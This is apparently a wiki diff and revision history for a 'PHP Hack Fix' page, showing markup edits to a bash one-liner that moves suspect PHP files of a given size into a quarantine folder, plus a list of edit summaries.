	=== Quarantine ===		=== Quarantine ===
	~~<syntaxhighlight~~ lang="bash~~" enclose~~=~~"div">~~		{{highlight\|lang=bash\|code=
	find -type f -size XXXXc -iname \*.php -exec ls {} \; \| while read i ; do Name=`echo $i\|sed 's/\//-/g'\|sed 's/\.-//g'` ; mv -v $i ~/abuse/username/$Name ; done		find -type f -size XXXXc -iname \*.php -exec ls {} \; {{!}} while read i ; do Name=`echo $i {{!}} sed 's/\//-/g' {{!}} sed 's/\.-//g'` ; mv -v $i ~/abuse/username/$Name ; done
	~~</syntaxhighlight>~~		}}

	[[Category:Coding]]		[[Category:Coding]]

← Older revision		Revision as of 03:02, 27 December 2014
Line 42:		Line 42:
	=== Quarantine ===		=== Quarantine ===
	<syntaxhighlight lang="bash" enclose="div">		<syntaxhighlight lang="bash" enclose="div">
	find -type f -size XXXXc -iname \*.php -exec ls {} \; \| while read i ; do Name=`echo $i~~\|sed 's/\//-/g'~~\|sed 's/\//-/g'\|sed 's/\.-//g'` ; mv -v $i ~/abuse/username/$Name ; done		find -type f -size XXXXc -iname \*.php -exec ls {} \; \| while read i ; do Name=`echo $i\|sed 's/\//-/g'\|sed 's/\.-//g'` ; mv -v $i ~/abuse/username/$Name ; done
	</syntaxhighlight>		</syntaxhighlight>

	[[Category:Coding]]		[[Category:Coding]]

PHP Hack Fix - Revision history

Leo: Text replacement - "" to "}}"

Leo: Text replacement - "" to "{{code|"

Leo: Text replacement - "{{highlight|lang=bash" to "{{highlight|lang=terminal"

68.147.137.120: /* Hack 4 */

Leo: /* Hack 3 */ finding and fixing.

Leo: restructured content

Leo: added more hacks found, structuring. Needs rejigging.

Leo: specimens

10.1.1.3: /* Quarantine */

10.1.1.3 at 03:02, 27 December 2014

Leo: Text replacement - "`" to "{{code|"`